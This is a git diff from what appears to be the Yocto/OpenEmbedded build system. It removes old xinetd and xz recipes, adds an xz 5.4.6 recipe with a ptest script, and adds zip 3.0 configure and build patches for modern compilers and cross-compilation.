+# Script for converting inetd.conf files into xinetd.conf files
+PACKAGES =+ "${PN}-xconv"
+FILES:${PN}-xconv = "${bindir}/xconv.pl"
+RDEPENDS:${PN}-xconv += "perl"
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.bb
deleted file mode 100644
index 1beb5456e1..0000000000
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.bb
+++ /dev/null
@@ -1,78 +0,0 @@
-SUMMARY = "Socket-based service activation daemon"
-HOMEPAGE = "https://github.com/xinetd-org/xinetd"
-
-# xinetd is a BSD-like license
-# Apple and Gentoo say BSD here.
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=8ad8615198542444f84d28a6cf226dd8"
-
-DEPENDS = ""
-DEPENDS_append_libc-musl = " libtirpc "
-PR = "r2"
-
-# Blacklist a bogus tag in upstream check
-UPSTREAM_CHECK_GITTAGREGEX = "xinetd-(?P<pver>(?!20030122).+)"
-
-SRC_URI = "git://github.com/xinetd-org/xinetd.git;protocol=https \
- file://xinetd.init \
- file://xinetd.conf \
- file://xinetd.default \
- file://Various-fixes-from-the-previous-maintainer.patch \
- file://Disable-services-from-inetd.conf-if-a-service-with-t.patch \
- file://xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch \
- file://xinetd-CVE-2013-4342.patch \
- file://0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch \
- file://xinetd.service \
- "
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-SRCREV = "68bb9ab9e9f214ad8a2322f28ac1d6733e70bc24"
-
-S = "${WORKDIR}/git"
-
-inherit autotools update-rc.d systemd
-
-SYSTEMD_SERVICE_${PN} = "xinetd.service"
-
-INITSCRIPT_NAME = "xinetd"
-INITSCRIPT_PARAMS = "defaults"
-
-EXTRA_OECONF="--disable-nls"
-
-PACKAGECONFIG ??= "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
-
-CFLAGS_append_libc-musl = " -I${STAGING_INCDIR}/tirpc "
-LDFLAGS_append_libc-musl = " -ltirpc "
-
-do_configure() {
- # Looks like configure.in is broken, so we are skipping
- # rebuilding configure and are just using the shipped one
- ( cd ${S}; gnu-configize --force )
- oe_runconf
-}
-
-do_install() {
- # Same here, the Makefile does some really stupid things,
- # but since we only want two files why not override
- # do_install from autotools and doing it ourselfs?
- install -d "${D}${sbindir}"
- install -d "${D}${sysconfdir}/init.d"
- install -d "${D}${sysconfdir}/xinetd.d"
- install -d "${D}${sysconfdir}/default"
- install -m 644 "${WORKDIR}/xinetd.conf" "${D}${sysconfdir}"
- install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
- install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
- install -m 755 "${B}/xinetd/xinetd" "${D}${sbindir}"
- install -m 755 "${B}/xinetd/itox" "${D}${sbindir}"
- install -m 664 ${S}/contrib/xinetd.d/* ${D}${sysconfdir}/xinetd.d
-
- # Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/xinetd.service
-}
-
-CONFFILES_${PN} = "${sysconfdir}/xinetd.conf"
diff --git a/meta/recipes-extended/xz/xz/run-ptest b/meta/recipes-extended/xz/xz/run-ptest
new file mode 100644
index 0000000000..cc8ba92016
--- /dev/null
+++ b/meta/recipes-extended/xz/xz/run-ptest
@@ -0,0 +1,26 @@
+#!/bin/bash
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd "$ptestdir"/tests || exit
+
+# executables test cases
+tests_exec=$(file $(ls test_*) | grep "ELF" | awk -F: '{print $1}')
+for i in ${tests_exec}; do
+ ./$i
+done
+
+# POSIX shell script test cases
+export srcdir=${ptestdir}/tests
+test_shell="test_files.sh test_scripts.sh test_compress.sh"
+for j in ${test_shell}; do
+ if [ $j == "test_compress.sh" ]; then
+ ./$j create_compress_files
+ else
+ ./$j
+ fi
+ if [ $? -eq 0 ]; then
+ echo "PASS: $j"
+ else
+ echo "FAIL: $j"
+ fi
+done
diff --git a/meta/recipes-extended/xz/xz_5.2.3.bb b/meta/recipes-extended/xz/xz_5.2.3.bb
deleted file mode 100644
index c0f8b82f64..0000000000
--- a/meta/recipes-extended/xz/xz_5.2.3.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Utilities for managing LZMA compressed files"
-HOMEPAGE = "http://tukaani.org/xz/"
-SECTION = "base"
-
-# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file
-# which is GPLv3 is an m4 macro which isn't shipped in any of our packages,
-# and the LGPL bits are under lib/, which appears to be used for libgnu, which
-# appears to be used for DOS builds. So we're left with GPLv2+ and PD.
-LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-dev = "GPLv2+"
-LICENSE_${PN}-staticdev = "GPLv2+"
-LICENSE_${PN}-doc = "GPLv2+"
-LICENSE_${PN}-dbg = "GPLv2+"
-LICENSE_${PN}-locale = "GPLv2+"
-LICENSE_liblzma = "PD"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=c475b6c7dca236740ace4bba553e8e1c \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
- file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 "
-
-SRC_URI = "http://tukaani.org/xz/xz-${PV}.tar.gz"
-SRC_URI[md5sum] = "ef68674fb47a8b8e741b34e429d86e9d"
-SRC_URI[sha256sum] = "71928b357d0a09a12a4b4c5fafca8c31c19b0e7d3b8ebb19622e96f26dbf28cb"
-
-inherit autotools gettext
-
-PACKAGES =+ "liblzma"
-
-FILES_liblzma = "${libdir}/liblzma*${SOLIBS}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-export CONFIG_SHELL="/bin/sh"
diff --git a/meta/recipes-extended/xz/xz_5.4.6.bb b/meta/recipes-extended/xz/xz_5.4.6.bb
new file mode 100644
index 0000000000..da3b75a10b
--- /dev/null
+++ b/meta/recipes-extended/xz/xz_5.4.6.bb
@@ -0,0 +1,69 @@
+SUMMARY = "Utilities for managing LZMA compressed files"
+HOMEPAGE = "https://tukaani.org/xz/"
+DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
+SECTION = "base"
+
+# The source includes bits of PD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the
+# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our
+# packages, and the LGPL bits are under lib/, which appears to be used for
+# libgnu, which appears to be used for DOS builds. So we're left with
+# GPL-2.0-or-later and PD.
+LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & PD"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:${PN}-dev = "GPL-2.0-or-later"
+LICENSE:${PN}-staticdev = "GPL-2.0-or-later"
+LICENSE:${PN}-doc = "GPL-2.0-or-later"
+LICENSE:${PN}-dbg = "GPL-2.0-or-later"
+LICENSE:${PN}-locale = "GPL-2.0-or-later"
+LICENSE:liblzma = "PD"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d4378ea9d5d1fc9ab0ae10d7948827d9 \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
+ "
+
+SRC_URI = "https://github.com/tukaani-project/xz/releases/download/v${PV}/xz-${PV}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "aeba3e03bf8140ddedf62a0a367158340520f6b384f75ca6045ccc6c0d43fd5c"
+UPSTREAM_CHECK_REGEX = "releases/tag/v(?P<pver>\d+(\.\d+)+)"
+UPSTREAM_CHECK_URI = "https://github.com/tukaani-project/xz/releases/"
+
+CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
+
+inherit autotools gettext ptest
+
+PACKAGES =+ "liblzma"
+
+FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
+
+inherit update-alternatives
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "xz xzcat unxz \
+ lzma lzcat unlzma"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "bash file"
+
+do_compile_ptest() {
+ oe_runmake check TESTS=
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ find ${B}/tests/.libs -type f -executable -exec cp {} ${D}${PTEST_PATH}/tests \;
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ for i in files xzgrep_expected_output test_files.sh test_scripts.sh test_compress.sh; do
+ cp -r ${S}/tests/$i ${D}${PTEST_PATH}/tests
+ done
+ mkdir -p ${D}${PTEST_PATH}/src/xz
+ ln -s ${bindir}/xz ${D}${PTEST_PATH}/src/xz/xz
+ mkdir -p ${D}${PTEST_PATH}/src/xzdec
+ ln -s ${bindir}/xzdec ${D}${PTEST_PATH}/src/xzdec/xzdec
+ mkdir -p ${D}${PTEST_PATH}/src/scripts
+ ln -s ${bindir}/xzdiff ${D}${PTEST_PATH}/src/scripts/xzdiff
+ ln -s ${bindir}/xzgrep ${D}${PTEST_PATH}/src/scripts/xzgrep
+}
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
new file mode 100644
index 0000000000..a4f8382625
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
@@ -0,0 +1,134 @@
+From 8810f2643c9372a8083272dc1fc157427646d961 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:16:23 -0700
+Subject: [PATCH 1/2] configure: Specify correct function signatures and
+ declarations
+
+Include needed system headers in configure tests, this is needed because
+newer compilers are getting stricter about the C99 specs and turning
+-Wimplicit-function-declaration into hard error e.g. clang-15+
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 79 +++++++++++++++++++++++++++++++++++++++++---------
+ 1 file changed, 66 insertions(+), 13 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1d9a9bb..f2b3d02 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -513,21 +513,70 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+ # Check for missing functions
+ # add NO_'function_name' to flags if missing
+
+-for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+-do
+- echo Check for $func
+- echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+- [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+-done
++echo Check for rmdir
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ rmdir(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RMDIR"
++
++echo Check for strchr
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ strchr(NULL,0); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRCHR"
+
++echo Check for strrchr
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ strrchr(NULL,0); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRRCHR"
++
++echo Check for rename
++cat > conftest.c << _EOF_
++#include <stdio.h>
++int main(){ rename(NULL,NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RENAME"
++
++echo Check for mktemp
++cat > conftest.c << _EOF_
++#include <stdlib.h>
++int main(){ mktemp(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTEMP"
++
++echo Check for mktime
++cat > conftest.c << _EOF_
++#include <time.h>
++int main(){ mktime(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTIME"
++
++echo Check for mkstemp
++cat > conftest.c << _EOF_
++#include <stdlib.h>
++int main(){ return mkstemp(NULL); }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKSTEMP"
+
+ echo Check for memset
+-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ char k; memset(&k,0,0); return 0; }
++_EOF_
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+-
+ echo Check for memmove
+ cat > conftest.c << _EOF_
+ #include <string.h>
+@@ -548,7 +597,7 @@ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ echo Check for errno declaration
+ cat > conftest.c << _EOF_
+ #include <errno.h>
+-main()
++int main()
+ {
+ errno = 0;
+ return 0;
+@@ -625,14 +674,18 @@ CFLAGS="${CFLAGS} ${OPT}"
+
+ echo Check for valloc
+ cat > conftest.c << _EOF_
+-main()
++#include <stdlib.h>
++int main()
+ {
+ #ifdef MMAP
+- valloc();
++ valloc(0);
+ #endif
++ return 0;
+ }
+ _EOF_
+-$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
++#$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
++$CC ${CFLAGS} -c conftest.c
++echo "==========================================="
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_VALLOC"
+
+
+--
+2.37.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
new file mode 100644
index 0000000000..92d0d5db58
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
@@ -0,0 +1,88 @@
+From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Mar 2022 22:31:21 -0800
+Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests
+
+Some case link flags contain important flags which are required during
+linking, link fails otherwise without them, which can result in
+configure detection go wrong, ensure these flags are used along with CC
+when tests involve linking
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 16 ++++++++--------
+ 1 file changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1bc698b..1d9a9bb 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+
+@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE"
+
+
+@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { strerror( 0); return 0; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR"
+
+ echo Check for errno declaration
+@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+@@ -583,9 +583,9 @@ fi
+
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+--
+2.35.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
new file mode 100644
index 0000000000..02253f968c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
@@ -0,0 +1,47 @@
+From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:36:59 -0800
+Subject: [PATCH 1/2] configure: use correct CPP
+
+configure uses CPP to test that two assembler routines
+can be built. Unfortunately, it will use /usr/bin/cpp
+if it exists, invalidating the tests. We use the $CC
+passed to configure.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 15 +++++++++------
+ 1 file changed, 9 insertions(+), 6 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 73ba803..7e21070 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -220,13 +220,16 @@ fi
+ echo Check for the C preprocessor
+ # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp.
+ CPP="${CC} -E"
++
++# We should not change CPP for yocto builds.
++#
+ # solaris as(1) needs -P, maybe others as well ?
+-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
+-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
+-[ -f /lib/cpp ] && CPP=/lib/cpp
+-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
+-[ -f /xenix ] && CPP="${CC} -E"
+-[ -f /lynx.os ] && CPP="${CC} -E"
++# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
++# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
++# [ -f /lib/cpp ] && CPP=/lib/cpp
++# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
++# [ -f /xenix ] && CPP="${CC} -E"
++# [ -f /lynx.os ] && CPP="${CC} -E"
+
+ echo "#include <stdio.h>" > conftest.c
+ $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E"
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
new file mode 100644
index 0000000000..106f246a7c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
@@ -0,0 +1,96 @@
+From 9916fc6f1f93f3e092e3c6937c30dc8137c26d34 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Jun 2023 18:31:26 +0800
+Subject: [PATCH] unix/configure: use _Static_assert to do correct detection
+
+We're doing cross compilation, running a cross-compiled problem
+on host to detemine feature is not correct. Use _Static_assert
+to do the detection correctly.
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ unix/configure | 42 ++++++++++++------------------------------
+ 1 file changed, 12 insertions(+), 30 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index f2b3d02..f917086 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -361,6 +361,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof((struct stat){0}.st_uid) == 2, "sizeof st_uid is not 16 bit");
++_Static_assert(sizeof((struct stat){0}.st_gid) == 2, "sizeof st_gid is not 16 bit");
++
+ int main()
+ {
+ struct stat s;
+@@ -385,21 +389,7 @@ if [ $? -ne 0 ]; then
+ echo -- UID/GID test failed on compile - disabling old 16-bit UID/GID support
+ CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- UID not 2 bytes - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- elif [ $r -eq 2 ]; then
+- echo -- GID not 2 bytes - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- elif [ $r -eq 3 ]; then
+- echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
+- else
+- echo -- test failed - conftest returned $r - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- fi
++ echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
+ fi
+
+
+@@ -417,6 +407,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
++_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
++
+ int main()
+ {
+ off_t offset;
+@@ -436,24 +430,12 @@ _EOF_
+ # compile it
+ $CC -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- echo -- no Large File Support
++ echo -- yes we have Large File Support!
++ CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- no Large File Support - no 64-bit off_t
+- elif [ $r -eq 2 ]; then
+- echo -- no Large File Support - no 64-bit stat
+- elif [ $r -eq 3 ]; then
+- echo -- yes we have Large File Support!
+- CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
+- else
+- echo -- no Large File Support - conftest returned $r
+- fi
++ echo -- no Large File Support
+ fi
+
+-
+ # Check for wide char for Unicode support
+ # Added 11/24/2005 EG
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
new file mode 100644
index 0000000000..6e0879616a
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
@@ -0,0 +1,34 @@
+From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:46:03 -0800
+Subject: [PATCH 2/2] configure: support PIC code build
+
+Disable building match.S. The code requires
+relocation in .text.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 7e21070..1bc698b 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then
+ if test ! -s _match.s || grep error < _match.s > /dev/null; then
+ :
+ elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then
+- CFLAGS="${CFLAGS} -DASMV"
+- OBJA="match.o"
++ # disable match.S for PIC code
++ # CFLAGS="${CFLAGS} -DASMV"
++ # OBJA="match.o"
+ echo "int foo() { return 0;}" > conftest.c
+ $CC -c conftest.c >/dev/null 2>/dev/null
+ echo Check if compiler generates underlines
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
new file mode 100644
index 0000000000..a86e03e620
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
@@ -0,0 +1,35 @@
+From 76f5bf3546d826dcbc03acbefcf0b10b972bf136 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:19:38 -0700
+Subject: [PATCH 2/2] unix.c: Do not redefine DIR as FILE
+
+DIR is already provided on Linux via
+/usr/include/dirent.h system header
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/unix.c | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/unix/unix.c b/unix/unix.c
+index ba87614..6e6f4d2 100644
+--- a/unix/unix.c
++++ b/unix/unix.c
+@@ -61,13 +61,11 @@ local time_t label_utim = 0;
+ /* Local functions */
+ local char *readd OF((DIR *));
+
+-
+ #ifdef NO_DIR /* for AT&T 3B1 */
+ #include <sys/dir.h>
+ #ifndef dirent
+ # define dirent direct
+ #endif
+-typedef FILE DIR;
+ /*
+ ** Apparently originally by Rich Salz.
+ ** Cleaned up and modified by James W. Birdsall.
+--
+2.37.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
new file mode 100644
index 0000000000..6fd04df1c6
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
@@ -0,0 +1,19 @@
+From: Santiago Vila <sanvila@debian.org>
+Subject: Remove (optional) build date to make the build reproducible
+Bug-Debian: http://bugs.debian.org/779042
+
+Upstream-Status: Inactive-Upstream [no upstream]
+
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+
+--- a/unix/unix.c
++++ b/unix/unix.c
+@@ -1020,7 +1020,7 @@
+
+
+ /* Define the compile date string */
+-#ifdef __DATE__
++#if 0
+ # define COMPILE_DATE " on " __DATE__
+ #else
+ # define COMPILE_DATE ""
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
index 19d8548273..f85fddbc60 100644
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
@@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro
[YOCTO #9552]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
